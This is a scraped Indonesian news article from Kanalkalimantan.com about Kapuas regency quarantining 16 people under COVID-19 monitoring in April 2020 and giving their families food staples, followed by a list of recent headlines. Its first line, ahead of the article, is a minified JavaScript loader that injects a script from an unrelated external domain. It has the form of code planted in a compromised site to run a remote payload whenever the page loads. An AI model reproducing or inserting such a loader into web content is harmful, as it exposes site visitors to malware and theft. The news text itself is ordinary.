(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

16 ODP Dikarantina, Pemkab Kapuas Salurkan Sembako untuk Keluarga


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemkab Kapuas melalui Gugus Tugas COVID-19 menjamin sembako keluarga orang yang dikarantina. Langkah ini dilakukan menyusul dikarantinanya 16 warga Kapuas dengan status Orang Dalam Pemantauan (ODP).

“Saat ini sudah 16 warga berstatus ODP di karantina. Ini kita lakukan untuk mencegah penyebaran COVID-19 di Kabupaten Kapuas,” kata Kepala Dinas Sosial Kabupaten Kapuas, Budi Kurniawan, di Posko satgas covid-19 Kapuas, Minggu (12/4/2020).

Budi Kurniawan mengatakan, karantina ini dilakukan selama 14 hari kedepan untuk memutus matai rantai penyebaran Virus Corona. Ia menegaskan, selama masa karantina, Pemkab Kapuas akan menjamin keluarga ODP yang dikarantina. “Selama karantina 14 mereka yang berstatus ODP ditanggung Pemkab atau disalurkan makanan dan keluarga mereka juga diberikan sembako,” jelasnya.

Lanjutnya, pemberian sembako kepada keluarga ODP yang dikarantina adalah bentuk tanggungjawab Pemkab untuk menjamin hak hidup warganya. Langkah ini juga dilakukan untuk memberikan ketenangan warga Kapuas agar secara sukarela melaporkan diri. Karena Pemkab Kapuas akan menjamin warga ODP beserta keluarganya. “Hal ini dilakukan, karena karantina mandiri diragukan. Apakah benar dilakukan selama 14 hari di rumah. Serta berpotensi menularkan di lingkungan keluarga,” tegas Budi.

Maka dari itu, ia mengingatkan Kepada warga Kapuas, lebih baik dikarantina dan ditangani tim medis, karena penanganannya lebih pasti dan terpantau. Kepala Dinsos menjamin, tempat karantina yang disiapkan Pemkab Kapuas sangat layak dan dijamin kenyamanan bagi warga ODP. Selain itu, pihaknya beserta tenaga medis dipastikan akan menjaga privasi dan kerahasiaan warga ODP.

“Saya berharap masyarakat yang baru datang dari wilayah zona merah COVID-19 untuk segera melaporkan diri ke Posko Gugus tugas Covid-19 yang berada di Kabupaten Kapuas,  Agar dilakukan pemeriksaan dan bila perlu akan dikarantina. Hal ini untuk menghindari penyebaran virus baik kepada keluarga maupun orang lain. Karena Orang Tanpa Gejala (OTG) berpotensi menyebarkan virus corona,” tutupnya. (Kanalkalimantan.com/Ags)

 

Reporter : Ags
Editor : Cell

 


Desy Arfianty

Recent Posts

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

2 jam ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

3 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

8 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

8 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

1 hari ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

1 hari ago

This website uses cookies.